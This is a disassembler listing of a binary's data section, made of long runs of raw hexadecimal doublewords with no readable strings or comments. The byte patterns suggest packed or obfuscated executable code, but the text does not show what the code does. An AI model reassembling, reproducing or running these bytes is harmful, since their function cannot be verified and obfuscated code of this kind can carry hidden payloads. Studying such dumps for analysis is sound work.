		dd 0FB1C8D4Eh, 36350C3Dh, 3A373DD9h, 44BD1A35h,	0FA79C30Eh
		dd 764EE58Ah, 37407139h, 0AD4A0B43h, 0CB4426FBh, 0C3956C69h
		dd 6798D436h, 8DDF4EB6h, 1419941Ch, 103FE05Dh, 2F287997h
		dd 0FD2E6ACCh, 0ACBE0EF4h, 23FA1363h, 0EA550634h, 2A1C8D01h
		dd 7DB2146Ch, 86C224EDh, 3126FD2Eh, 0EF5564C6h,	0A11C8D01h
		dd 0ADE244B5h, 0F8FF56A8h, 0A0025A96h, 0CF160CF1h, 0C2976E67h
		dd 0F06B1C35h, 401C8D01h, 52485182h, 6ABA3D1Ah,	8D0DA03Fh
		dd 81770D1Ch, 6FEE0053h, 0FFFFFF01h, 41BE9B72h,	8372A3DFh
		dd 1262AFBBh, 467A9C1h,	5BB35C0Eh, 2A92A103h, 701C8DFBh
		dd 1357978Bh, 6406DDF6h, 0F153A4B2h, 0BFFB5DB5h, 0EE67B88Eh
		dd 51B34810h, 4C5BBD15h, 0CCFE5AB8h, 0F471696Eh, 1D8DB3FBh
		dd 5AEDh, 1CF3A000h, 65A2C84Eh,	3E6FC703h, 0ADC672A6h
		dd 0AEBB0FFCh, 2B8D4B1Ah, 0AEBBA01Ch, 0B9A1A61Ah, 0DE13332Ch
		dd 2B25E7h, 0E1D80000h,	1C8DF1AEh, 0FDB2E953h, 0F39CFFFFh
		dd 0FB38A354h, 87BE1C8Dh, 5F34D948h, 407ECB1h, 9092D605h
		dd 0AC9CCD25h, 7, 290A25Fh, 0F3550000h,	23029DEEh, 52036B93h
		dd 1C8DE6EFh, 0E0116927h, 46A86109h, 60B05911h,	556EDA4Eh
		dd 93FB44A4h, 0E446041Ah, 93C06ED5h, 7B5F641Ah,	0E31DF5EEh
		dd 43E7E7h, 0FA9A0000h,	0BF38210Eh, 0B0C9215Dh,	22D37211h
		dd 1C8DFBBFh, 930E39F7h, 0E31C8DFBh, 0F943F425h, 0F71A93D0h
		dd 51C8D739h, 151A93D0h, 2257B956h, 0AE5DBF48h,	8392D1C9h
		dd 6FF847Eh, 0F8E7E32Ah, 0A7h, 62AFBBABh, 6D8ACB00h, 20370E0Bh
		dd 97D3AADBh, 87E3187Ah, 670F3A8Ah, 8D1C8DFFh, 1C1A3BDDh
		dd 8DFEF06Bh, 2A82401Ch, 21797ED9h, 78E1B8D1h, 0F290007Fh
		dd 64995354h, 0BB6D9B33h, 0C22DF1A2h, 65231AADh, 17E0754Ch
		dd 18DF76C7h, 347EBE5Dh, 3B895169h, 46Ah, 50A06DFFh, 54A459FFh
		dd 56A65303h, 5BAB5405h, 5CAC4B0Ah, 71E41D95h, 86E53686h
		dd 6FE83989h, 7FEB3C8Ch, 0A3204292h, 0AEB18FF2h, 82EFC71Ah
		dd 0BE391CF3h, 0B214FD6Dh, 0E76E4576h, 0FB6FC010h, 4D1EF50Eh
		dd 800843C2h, 9D7D1252h, 0BB2D966Ch, 8DF0A1AFh,	0C51C8DFBh
		dd 184DAF07h, 5365B552h, 0A95A73A5h, 1A93E1B3h,	0D2E14301h
		dd 1A93E069h, 828B6FF2h, 0B289A296h, 812051A6h,	8DFAE8D0h
		dd 8435D41Ch, 10B1CD19h, 41B6A259h, 1A4BA3DFh, 0AFC111CFh
		dd 5B6CF79h, 16928DBCh,	31C69168h, 0C8D780B2h, 0F728B2BFh
		dd 9976F5ACh, 8AA3FB37h, 0EDC73AEBh, 0D6830ED2h, 0C68BC729h
		dd 6138D708h, 89B404F5h, 0ED2ED18h, 57708BCCh, 0E817A052h
		dd 0CC1DE5A2h, 0D30F719Eh, 5C62CCA2h, 15000000h, 8DFB7AE1h
		dd 69B66D1Ch, 4462B25Ch, 0CB1B736Fh, 0E540ADB2h, 4C6E7B7Eh
		dd 0E512441Bh, 0A8AF8683h, 36B5F153h, 318CBBC4h, 50013250h
		dd 1C8D2DEDh, 0AEFEE4CDh, 31364FA8h, 0B1E720A1h, 23F92AC8h
		dd 107285D2h, 8D359B01h, 0EFD3361Ch, 2A43B89Fh,	97F90653h
		dd 0A6610A5Bh, 0F3369F75h, 93C44F1Ch, 0EE9F9BBCh, 1C8DFB73h
		dd 94AD05C3h, 7466928Fh, 89BA25C9h, 0D69FA4A1h,	0B47DD815h
		dd 193E1546h, 0C78E70E5h, 3A76D830h, 1F4B80E2h,	389A5FF9h
		dd 0D42A4FCh, 0F960B15Eh, 9EA79CFEh, 70EB9CA4h,	0C01C8DCFh
		dd 0AB2EAA02h, 4BAAAFB7h, 111F4DC5h, 0D7805788h, 0B4A9D424h
		dd 691C8D90h, 0CCDDD3h,	0FF3ACBEEh, 0C9CEFFFFh,	91596767h
		dd 0EE0507FBh, 93D19F1Eh, 5C7B32D3h, 64BC160Bh,	0AFBB4433h
		dd 0A8C6F63Bh, 0F9513076h, 0FF086297h, 0BD6B9DAFh, 3C2E05A4h
		dd 43571D3h, 93BC9553h,	5BFCB31Ah, 0B1023EA0h, 0B3EF51A6h
		dd 73EAF95Bh, 791A938Ch, 0A94E07DEh, 0D1DA0B47h, 0E2635CE9h
		dd 5355E7E2h, 8000000h,	11A0EFAh, 32DF8B62h, 0B26394D0h
		dd 1A93D06Eh, 11AC8166h, 87C4B892h, 7482A008h, 0E43CFC6Bh
		dd 6F0C7382h, 0FD021A93h, 0C1878005h, 43E2E7E2h, 69D4373Eh
		dd 94BFA406h, 1A935729h, 727AAB69h, 0A3h, 0BA25D675h, 0FA1A9357h
		dd 8FE71443h, 0AFBB6F5Eh, 0E4724962h, 0C5FAE213h, 0D0056790h
		dd 0D60B6D9Ah, 2B7B94h,	1C8DFF56h, 0D323EC7Eh, 0BD1FE882h
		dd 6181E9C0h, 0C01B7F95h, 78A90160h, 0E70028E0h, 93DAD636h
		dd 0E838F61Ah, 6EFD22D6h, 7F3049A1h, 1CB36EB9h,	9E0F9B7h
		dd 0A5BAB4Ch, 34F1AC4Bh, 0B6F522Bh, 1B8F543h, 1F4D0000h
		dd 751A2F2h, 551A2F2h, 653A4F4h, 0FD58A9F9h, 6BE3AAFAh
		dd 84D42332h, 8BDB3833h, 8ADA1D3Ah, 88D83139h, 0C538E966h
		dd 0D1AAEB6h, 9ABBC835h, 0AEBC0D5Dh, 0FAA81161h, 50011A0Eh
		dd 1A93D0CCh, 64DDABB0h, 0EB76C2DFh, 4FB16FBAh,	93A3D940h
		dd 0D0CACF1Ah, 1D8031D0h, 551A93A3h, 514A6697h,	43E7E2FDh
		dd 0C4h, 14E96F46h, 564576B2h, 62AFBBh,	0D02B2C03h, 2A01326Eh
		dd 5B6ACC2Bh, 1C8DFF2Bh, 287891D9h, 147693D7h, 253EEA1Eh
		dd 93F21474h, 0BBDBE01Ah, 7DFCE55Fh, 0AF6DB8E9h, 6DDB4D5Fh
		dd 7BDEB554h, 79A25384h, 391CB37Dh, 0CA8B627Bh,	25C4DD2Dh
		dd 0B3220974h, 5A8B4910h, 6A25D283h, 6F521DC5h,	0E772C088h
		dd 7C000000h, 82D323F0h, 2 dup(80D121D6h), 7DCE1ED9h, 8CF1FD8h
		dd 0F9FE5790h, 0F81358A9h, 0FB0057A8h, 0F7105AABh, 570885A7h
		dd 1AAEB5E4h, 0BBE7542Ch, 70EB9C9Ah, 0C01C8DFBh, 4FA75009h
		dd 0B78EA7F7h, 4F2657B4h, 36D5EE1Bh, 8DFB1A85h,	4B9C5A1Ch
		dd 0E7BDEE0Bh, 9562F7CEh, 0D7C6F733h, 62AFBBh, 22729FCBh
		dd 17301810h, 3FB8A178h, 0BF70A1DDh, 1AAEBBDEh,	0BDF25412h
		dd 0C31464ADh, 8F6243A7h, 4323202Ch, 0B57A89EBh, 0D523A8AFh
		dd 0C9CED6CCh, 3212374Ch, 0C598D612h, 0A609D04Fh, 0B81633B2h
		dd 34714B38h, 0D13E2C03h, 0A63A3081h, 0A78382BDh, 0D638908Ah
		dd 0DD3FB8A1h, 0E5865DDCh, 0AF0F92Ah, 0F5FA8C2h, 0EB6AACBEh
		dd 0D669E8E5h, 0EB431C74h, 0FE33193h, 96000000h, 5DF9D04Fh
		dd 7D9D1D9Ch, 0F89C0F83h, 0B1BBD8C7h, 9DCD0264h, 7ADD1274h
		dd 85E61B7Dh, 62F3288Ah, 57FE3395h, 50093EA0h, 461045A7h
		dd 3E1A4FB1h, 56C257B9h, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 4812424h, 424h, 4FBB6800h, 3C890000h, 0E6895624h, 4C681h
		dd 0EE810000h, 4, 5C243487h, 68240489h,	62340EDh, 81243C8Bh
		dd 4C4h, 48B5400h, 4C48124h, 81000000h,	4ECh, 243C8900h
		dd 8B08408Fh, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 243C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
		dd 0FFFBF4A0h, 2FD1FCACh, 7CA7DA7Bh, 4F4BB8D3h,	0C5030623h
		dd 5DC0E0FFh, 0F1881313h, 7D6098Dh, 6B9048ACh, 0A8416A6Eh
		dd 0F530ED9h, 673532B6h, 3F870245h, 0E38D4E47h,	25E56452h
		dd 9D555971h, 0EEF6046Bh, 8DD6444Bh, 3DC65470h,	67AC7C42h
		dd 0AF124994h, 604F0702h, 8046014Dh, 1F54205Eh,	0E5504BC5h
		dd 3E176BBEh, 352B0091h, 0D90355E0h, 6641029h, 20C51BA0h
		dd 8D8D462Dh, 623514Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0C8C35242h, 0EE920h, 8CA30000h, 8F4CBEE5h
		dd 0B7BA1769h, 8A2C1F16h, 2E999D09h, 8D89061Eh
		dd 61E2375h, 7959BF66h,	324D85C7h, 6308061Eh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 85C75DC3h, 61E3169h,	0
		dd 0FE9h, 28ACE400h, 6F8B00BFh,	0BF590DEAh, 26CDBF0Bh
		dd 2931B5FFh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0FC0EF1C3h, 31D37EBBh, 1E2DBD9Dh
		dd 0B995FF06h, 6A061E16h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 8B16C357h, 0C7F311B5h
		dd 0BF0F8EF0h, 51858BFEh, 0E9061E15h, 0Ch, 4D570A3Bh, 0D988099Dh
		dd 0D7FB2C9Eh, 95FF006Ah, 61E26C1h, 0EEBC08Bh, 0F170D259h
		dd 23D0170Fh, 0EAE65B87h, 9D8DEDCEh, 61E2E6Dh, 39B8h, 59858900h
		dd 0E8061E1Eh, 0
		dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h)
		dd 12E8FF77h, 0FC000000h, 0C271AF50h, 553BE85Eh, 70B1B2ECh
		dd 0CDADD806h, 81505B1Ch, 3AB7CFF6h, 0C3815E09h, 6789h
		dd 0E8CA8A60h, 12h, 3C09890Ah, 643E3A4Ah, 2482AC96h, 3FFF8542h
		dd 615BD803h, 3C74FBB9h, 3DE98157h, 0BF573C5Bh,	53AE9422h
		dd 0AE933FFh, 48000000h, 0A0AA89CDh, 9F7AF4CAh,	2ABE5A71h
		dd 8146670Bh, 76BEDFF2h, 0F8526005h, 0A5C1815Fh, 615A3863h
		dd 0F284C281h, 0EA810A8Dh, 6AE13174h, 0EB831389h, 83BFB004h
		dd 850F01E9h, 0FFFFFFBCh, 0CC7BB866h, 530F8D8Dh, 0BD310623h
		dd 61E2E05h, 1C29958Bh,	8D89061Eh, 61E2375h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7FC35141h, 0C34F55D4h
		dd 0AADE9676h, 4D85C73Fh, 0B8061E32h, 66000073h, 1B3EC281h
		dd 316985C7h, 61Eh, 81660000h, 0FF7D00C3h, 1E1F59B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 9EC3F75Eh, 8FC37696h, 95FF96E6h, 61E16B9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9C35141h, 36856307h
		dd 0EF2097C8h, 95FF006Ah, 61E26C1h, 48EBC08Bh, 50CC87BEh
		dd 1CC41E5Fh, 0D4638863h, 0A3993E69h, 0C71D424Ch, 687961CAh
		dd 8C50A3BDh, 38D76180h, 71A32C26h, 3159E76Eh, 0C16C64FCh
		dd 56D3BA0h, 5BB5F5EFh,	6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h
		dd 507625B6h, 95EB6459h, 60EBh,	17h dup(0)
		dd 59E90000h, 0E900000Bh, 0B4Dh, 235BC768h, 2BCDE906h
		dd 0F268FFFBh, 0E906235Ch, 0FFFB2BC3h, 235D5468h, 2BB9E906h
		dd 0F48DFFFBh, 33B9D449h, 5EE2FD72h, 60072297h,	8C314CC1h
		dd 413374E9h, 77ECB136h, 0A61BC65Ch, 0D146EB8Bh, 0FD7233B6h
		dd 994B61FDh, 0BD3F4825h, 0EF733008h, 0D652A43Bh, 0D74A41FEh
		dd 256609DBh, 0E1084D39h, 8A2E47FFh, 0A15B3CEBh, 381930Ah
		dd 8C3B9775h, 0C970F58Dh, 0EAD4628h, 0A4194067h, 5D3FE689h
		dd 9D7F22C4h, 49EB7E04h, 69F81A8h, 41DABC61h, 5F17F9BCh
		dd 951DC5C8h, 1B0A92Ch,	0D8BA7B02h, 12F4BD3Fh, 8B30C35Ah
		dd 2D77AF1Ah, 38F97F7Eh, 8608831Ah, 0CDC18F52h,	56E33C1Eh
		dd 0AEC7FF1Dh, 0EB84660Fh, 0D382A948h, 48A16BD7h, 4462A73Fh
		dd 6FE48D2Bh, 0B5D3AA94h, 1FB499Fh, 0EED01533h,	9E13D255h
		dd 31F073CAh, 0B33E9079h, 0FD34EC85h, 0C8C8B629h, 538184C5h
		dd 65000000h, 0CF92142Dh, 0B4302CEDh, 173624D2h, 405DD190h
		dd 5617F9B8h, 0B3C8802Fh, 5434EC85h, 24D2A63Eh,	5E74B039h
		dd 3924D286h, 8E02A345h, 6D042249h, 3BCA6DBCh, 0AC271DDh
		dd 0F5738254h, 0BD54742Ch, 47EA84FEh, 0FECA219Eh, 0CE47726h
		dd 4284h, 85B35200h, 3E5434ECh,	3924D2A6h, 3B547299h, 0D69F1EBBh
		dd 6B0EB0AFh, 6119C889h, 1B93B54h, 24D2F9EBh, 0F1185D39h
		dd 0F7D14E0Fh, 52A61F3Fh, 154D6B1Ah, 847B447Eh,	39E89446h
		dd 2CF57381h, 0B307DF74h, 0B9CFED86h, 3F42DBA4h, 0E77D5FA4h
		dd 3306CAF9h, 61D016B3h, 87E3DC63h, 1981Ch, 8BB36600h
		dd 7C580C9Ch, 8AF04C1h,	0FD1B4269h, 258705E7h, 3A1C6139h
		dd 0E2571EA1h, 31F0730Eh, 0F3447C13h, 0CB332584h, 3E90641Ch
		dd 0F5BC3B54h, 0C0B18746h, 0B629FD08h, 84C5C8C8h, 6781h
		dd 0AC4C6500h, 77588805h, 0BFAF01B0h, 85B35810h, 32B5CEECh
		dd 53D09173h, 3552B528h, 540CBB30h, 2027BD54h, 74072607h
		dd 0FF7C4FBAh, 5F0E3952h, 0FAB92B41h, 589D3924h, 0FE9F213Ah
		dd 0DF8EB578h, 0E41C5427h, 24D316CEh, 6D30B539h, 1156CA8Bh
		dd 3B54AA62h, 5213F5BCh, 5D0CD553h, 5F17DE5Eh, 208407DFh
		dd 52000000h, 34EC85B3h, 0D2A63E54h, 72993924h,	738254BAh
		dd 0D60E2CF5h, 24D324C0h, 3EED3239h, 0B307DF86h, 0D3921A8Bh
		dd 4BF78EACh, 13597F9Ah, 124A6817h, 0D05669F9h,	5B44C0B5h
		dd 0B071537Ah, 72EB0501h, 3E833925h, 8120C35Ch,	0F073380Ch
		dd 3E907931h, 0DFF585B3h, 3924D305h, 0C7E50C51h, 836508AEh
		dd 0FD5B13C2h, 0BA3B5429h, 0A55415F7h, 0C5C8FBE9h, 41B484h
		dd 0B3FE0000h, 5434EC85h, 24D2A63Eh, 0B36BB039h, 0DE061C54h
		dd 783924D2h, 8119B633h, 0C9EB2309h, 0ABC4FC1Ah, 0B8670Ah
		dd 742CF573h, 448407DFh, 0EC000000h, 0AA8C55D3h, 2FB5CBE9h
		dd 273924D3h, 0B37B33E2h, 5434EC85h, 0C160031Ch, 736F1EDFh
		dd 3924D271h, 7089A7CEh, 88492BCEh, 825421D9h, 1FBA3B54h
		dd 0D2B4DB9Eh, 823DC8BBh, 9308F7Ah, 14DD5B5Ah, 8407DF5Ch
		dd 0CBh, 0F28BB352h, 0D32EBED4h, 758E3924h, 0C802FF6h
		dd 7FA653EFh, 3A64861h,	82BA7254h, 24D2786Ch, 8C0FD539h
		dd 664DAA6Fh, 0FFFEADF2h, 975EDD7Ch, 11A5270h, 16D7B97Ch
		dd 2571CA1Ah, 98478C39h, 0F0734F23h, 3E907931h,	34EC85B3h
		dd 0B99ABD54h, 24287A88h, 0B62C0075h, 84C5C8C8h, 2C81h
		dd 85B3CB00h, 3E5434ECh, 3924D2A6h, 54B36BB0h, 585E851Ch
		dd 580846ACh, 0F573F1A9h, 7DF742Ch, 4684h, 52D3EC00h, 3DECAD8Fh
		dd 0EC85B385h, 0A63E5434h, 63924D2h, 0EE648C6Fh, 0F2A1723Bh
		dd 0B995EA67h, 3AA8B6F5h, 59DCF513h, 5431E998h,	6962031Ch
		dd 0E31B97BBh, 0B0CEF5CCh, 256F4A9Ah, 18C70C39h, 2CF57360h
		dd 5407DF74h, 9D22A73Bh, 302B1D8h, 46DFC160h, 48DFFDA0h
		dd 4A603B09h, 39258E9Ah, 7AFA77BCh, 0C813046h, 76514EF1h
		dd 0A135A41Fh, 0DC72547Bh, 39251B06h, 927421C1h, 0CAAC69F9h
		dd 0C0650A09h, 94F70DEh, 0E60DD457h, 0DAABF112h, 40E589A2h
		dd 43A19D5Eh, 1339251Bh, 9D201FCEh, 0ED255FD4h,	0AC553C56h
		dd 0DFDB7BC5h, 3924D505h, 5E5D0C51h, 0D70D23DBh, 0D53924D4h
		dd 24D525BFh, 78EC3139h, 87B5B633h, 0F96D33E5h,	8EBCF0D2h
		dd 0B6354E86h, 0EBCD9417h, 0D154032Ah, 0D823BA8Bh, 1B4D82EEh
		dd 5DFF513h, 513924F0h,	0DB5E5D0Ch, 6FCAA51Ah, 0FBDD982Ah
		dd 0DFF5133Ah, 3F42F87Eh, 0DA385CAh, 3306E7D3h,	2CD049F0h
		dd 0E37C5E85h, 26BFA140h, 0F2F5DC81h, 1FBCD2ACh, 0BF6C6AD9h
		dd 202587E3h, 9000000h,	0C5A752F0h, 1F168704h, 0B348ED84h
		dd 0F0734C04h, 2BB94F31h, 0CB3924D3h, 0FB264AAh, 541DF166h
		dd 16CEE41Ch, 403924D3h, 0D2E5FFFBh, 0B1C73924h, 3924D333h
		dd 2E6ADE23h, 24D2CC18h, 1E458A39h, 24CD706Fh, 2A7A6F06h
		dd 0C5312BA0h, 5EDB3416h, 15F7BE3Dh, 0F90F2D54h, 3F49209Dh
		dd 9E223B73h, 7909DBD7h, 3FC23302h, 5FD39476h, 0B6004AC4h
		dd 7BA269DCh, 2EBD58CCh, 34D65CF0h, 86895B71h, 88CD3302h
		dd 0EAC53A61h, 0EE04224Fh, 39208F6Fh, 0D18C162Fh, 0B7F2EEFh
		dd 132CE4C6h, 211DCC95h, 2CE47EBFh, 9B0A50EDh, 8E06289Dh
		dd 0CFBB49E0h, 0D706119Bh, 338028h, 54CA0000h, 0D2DE061Ch
		dd 4FED3924h, 8F03C4A6h, 62DC9B4Ah, 8DC5FD1Bh, 24D26D77h
		dd 0A5A4E939h, 0B8B46302h, 3924D33Ch, 0BED7F53Ah, 0FC067B3Ah
		dd 1Eh,	0F28BB3CAh, 6E059CD4h, 0B2BCDC79h, 19D7D382h, 55392593h
		dd 57D9F210h, 486F36B6h, 3B54FFD3h, 5B49F8B9h, 160h, 0F089B329h
		dd 733E9038h, 0FD7931F0h, 0C8C8B629h, 2B8184C5h, 0CB000000h
		dd 38F089B3h, 0D2A63E54h, 6BB03924h, 548254B3h,	0D2DE061Ch
		dd 33783924h, 42E38584h, 88A1DF8Ah, 0D58D3CE5h,	2C84h
		dd 89B35200h, 8668DE9Ah, 779EC4F8h, 0A63E54BFh,	993924D2h
		dd 3B54BA72h, 5213F5BCh, 344D85A3h, 4AEDECB5h, 7344FCABh
		dd 0DF7830F1h, 31F07307h, 0E1BD5479h, 324CA189h, 786C82A0h
		dd 0DE392505h, 0B608EA99h, 34EC85B3h, 5AAC3FDh,	0BEBD7E60h
		dd 0DC57439h, 0C5C8C8B6h, 348184h, 2D650000h, 24D2CD17h
		dd 95448936h, 9685B3DDh, 229886E8h, 0BD759CB6h,	0D2A63E54h
		dd 6BB03924h, 738254B3h, 0DF742CF5h, 0BA3B5407h, 0A55415F7h
		dd 3EB7h, 85B38500h, 3B5434ECh,	7D16F8B9h, 955638E5h, 8B54F16Eh
		dd 625A1CB2h, 657F95B3h, 47392555h, 55EBF90Fh, 42E03925h
		dd 62062397h, 62ED9CC3h, 4022DF63h, 54A0587Fh, 2CF57382h
		dd 5407DF74h, 32A4A73Bh, 84BC1E0Eh, 38F9DB02h, 0EBE48A89h
		dd 0F0CD2FEh, 138B7B9Dh, 696C900Dh, 0C3593B62h,	3924DB1Eh
		dd 7C5E1BA7h, 0BD9F42E3h, 0DAF5EF05h, 1C613924h, 3DEF3532h
		dd 0BCFF6BFh, 6C12C40Ah, 11A54C9h, 38ACC27Ch, 1E3924DBh
		dd 4B03B2D9h, 4C2EF373h, 8C6E33B3h, 0D1546D0Bh,	98DE6110h
		dd 6B798FC7h, 0EB3924D2h, 0A98B2ACEh, 1312C1E8h, 4159CE93h
		dd 3924DC31h, 0DAD5D28Eh, 6E8E81C5h, 72FFFFFEh,	3113D259h
		dd 0C0816379h, 90D53924h, 7602BA69h, 3924D26Ah,	24D3045Ch
		dd 0D221C239h, 35AB3924h, 6F3924D2h, 6413D256h,	24D17868h
		dd 0D1924E39h, 0C871F924h, 1D558DABh, 24D1DD07h, 38347979h
		dd 7924D1ACh, 98B665AAh, 45C09082h, 0FBDD227Fh,	0BCDA97A2h
		dd 21E77FA6h, 52145979h
		dd 2C288641h, 0A3830B0Dh, 0AC000002h, 0DAF56A17h, 31E9352h
		dd 304BC061h, 5873E889h, 5C9D12D7h, 1BDE5F6Ah, 4AF78BA6h
		dd 7134BAD5h, 975EE1FCh, 70862222h, 3F482D74h, 73552DE2h
		dd 974F31F0h, 0FB1C8F00h, 6CF94799h, 0E9D5CA58h, 7635E40Bh
		dd 7A90AEC3h, 3F489118h, 38E57D9Ah, 5C849C11h, 0A73301E9h
		dd 9CB2EA92h, 3301EA48h, 17CDC90Eh, 3F3301EAh, 9FB5D3FAh
		dd 39253D9Fh, 0D008266Bh, 980B0198h, 5BEE054Bh,	0DE01855Fh
		dd 0DD8CD12Ch, 259A5BDEh, 0A0BE670Ah, 6143E687h, 790FF1A0h
		dd 2CDE016Fh, 0BEDC95A4h, 155F2A8h, 2935D033h, 691259E2h
		dd 0F009274Eh, 142FA44Dh, 95EED091h, 9BB1CFA4h,	2CDD3AFBh
		dd 435C7ABFh, 591AFCA5h, 0CA6FC8AAh, 0CD758BA9h, 4526B9E6h
		dd 91AAE200h, 0C96244F1h, 0AD5C8322h, 4C6A0BAEh, 40EFB233h
		dd 640DB0CBh, 59F4EC82h, 2A0F1A73h, 4729CC71h, 9415F86h
		dd 7325F1F3h, 7120651Ah, 79553D53h, 185D2096h, 0C3657E36h
		dd 85B47322h, 0EACC9514h, 0CEE40229h, 1A6DFD1Bh, 6F3E0045h
		dd 63CD7450h, 178D961h,	0E0810000h, 7A5C035h, 2ACEE95Eh
		dd 7CFB168Bh, 802540B5h, 352768DDh, 6BE0852Ah, 9207B250h
		dd 0BD32F777h, 0E1561FA2h, 0B52F45E1h, 0A13F482Eh, 86B314ECh
		dd 8197CFEDh, 3924D263h, 0E1FFAEF3h, 4826C7CBh,	8728413Fh
		dd 7ABF33E2h, 79FA3F98h, 8978455Bh, 4B90391Fh, 261F1689h
		dd 961E20ECh, 116h, 62D7821Fh, 8B00A147h, 0B025CC70h, 0DA4F1695h
		dd 67B3EBFh, 27C8D3C5h,	50F20D82h, 911530A5h, 0B93C57CCh
		dd 0E78383F8h, 483013D1h, 0B68E433Fh, 0F6BB3B54h, 0D0B277F7h
		dd 98A1600Fh, 0D316CEE4h, 0FB403924h, 0FAA0B6D4h, 0C83F4826h
		dd 6508A183h, 892C47BCh, 8CAD06E8h, 8BB3C9E7h, 0D53924D3h
		dd 0C7763BBCh, 5F990E53h, 4FFEA746h, 9409A850h,	0B92EF779h
		dd 0E1561F9Eh, 0D1566FA7h, 2CD4100Ch, 0E7822CDEh, 8022E6A8h
		dd 0BA375EC0h, 0BDB95791h, 5554034Ah, 7D980DD0h, 0A5C035F8h
		dd 0D0EB601Dh, 667E942Eh, 0F02CDDE5h, 0F40F84ABh, 203BB071h
		dd 0B57CFF82h, 0CDEB12D3h, 8F7130B4h, 0CFAA1FCEh, 0D5EB096Ah
		dd 33013969h, 0E17A5CA1h, 0A88E415Eh, 0A448D27Ch, 0A2465F7Dh
		dd 0E3A263ADh, 3259C2D7h, 6BE08F50h, 2D61h, 4832C900h
		dd 6914AEECh, 0C749C687h, 7538BD5Ah, 54E79F4Eh,	9D21B83Bh
		dd 0E35F6D8h, 0C9BC6B2Ch, 0A83A538Bh, 0D2F3F1EDh, 1E633924h
		dd 0EE73B76Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h,	0C86D06E8h
		dd 5AA4325h, 46E57E60h,	8024BD9Fh, 0C666FFE1h, 50003D1Fh
		dd 405E089h, 2D000000h,	4, 5C240487h, 68243C89h, 286Ch
		dd 53240C89h, 0C381E389h, 4, 4EB81h, 1C870000h,	2C895C24h
		dd 7F685024h, 5870284Eh, 0B1D99B9h, 58C13176h, 4EC81h
		dd 24890000h, 24048124h, 4, 4EC815Dh, 89000000h, 458F240Ch
		dd 242C8B08h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 592434FFh
		dd 0E904C483h, 0FFFB2093h, 0AB84962h, 0ACAB6B6h, 5E8FB820h
		dd 0C5030623h, 10E8C38Bh, 0C000000h, 9BE4E7D3h,	1876FDCAh
		dd 0E8E54E73h, 60A14268h, 0BEE8166h, 61FB8BA2h,	0BF0F525Eh
		dd 0C6815BC3h, 675Dh, 68DF8B66h, 19ACh,	1830Fh,	5AFC0000h
		dd 36FFBFB3h, 14E959h, 8D4F0000h, 9E32C99Dh, 0C8DAB277h
		dd 948E3B6Bh, 0E8942D33h, 0C181D201h, 78104353h, 0AE8h
		dd 9752EC00h, 9075034Ah, 66F53216h, 5F521ABBh, 83D1E981h
		dd 8E907FFh, 17000000h,	0AE18CBE4h, 81CEC327h, 9FD8D4C1h
		dd 810E8976h, 419459D0h, 0F6EE814Ch, 81506D2Ch,	551AEBDFh
		dd 0F2C68142h, 66506D2Ch, 557CF081h, 0F01EA83h,	0FFFF8985h
		dd 0F98B66FFh, 60A78D8Dh, 6A0623h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 9D7628C3h, 11E953A4h
		dd 24000000h, 0B6D8E904h, 53533774h, 0A5B87AAFh, 8458208Ah
		dd 8D89F858h, 61E2375h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 27C35343h, 66F6C07Ah,	9A2DE681h, 324D85C7h
		dd 59B4061Eh, 958B0000h, 61E1581h, 316985C7h, 61Eh, 958B0000h
		dd 61E1381h, 22798D89h,	0B5FF061Eh, 61E0DCDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 68C35646h, 92ADE732h
		dd 0F20BD415h, 2179BD8Bh, 58BB061Eh, 0FF0E9512h, 1E16B995h
		dd 0F3BF0F06h, 95FF006Ah, 61E26C1h, 4EEBC08Bh, 0BF1DEA5Fh
		dd 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh,	871A7913h
		dd 9D7A02A8h, 0EBE03900h, 4FD8C861h, 8C13F18Ch,	2E2BD4F5h
		dd 368D5EA1h, 79F1D2C0h, 0D58DF758h, 76A9D51Fh,	2C17FB6Ch
		dd 37D00BC2h, 0E769FF5Fh, 52360F2Ah, 69E9FC69h,	0F000001h
		dd 0C8Dh, 68F0F00h, 0F000000h, 84h, 8BB58D00h, 60062361h
		dd 9E9h, 633BAE00h, 0EC5E1E99h,	0DB8191EDh, 470E93FBh
		dd 6B858D61h, 0E9062141h, 0Ch, 0D5618EBEh, 7693E59Bh, 57F4226h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8451C5C3h, 0BE960F6h, 3000000h, 93E2B8F1h
		db 0C5h, 0CFh
word_584F4E	dw 4461h		; DATA XREF: ___:0042BEA8o
		dd 0E2BA8D6Fh, 6105038Ch, 8890FC3h, 0F000000h, 286h, 66616000h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 7CD906C3h, 297ED11Dh, 0FFCAC18h, 1486h, 0FE900h
		dd 88B10000h, 0BC056811h, 0E1221411h, 8BA33EB3h, 0B8666080h
		dd 0F661FFA0h, 840F04C1h, 39h, 8BFB8BF8h, 0AEC032CBh, 0CF2BFD75h
		dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h,	74C00B00h
		dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h
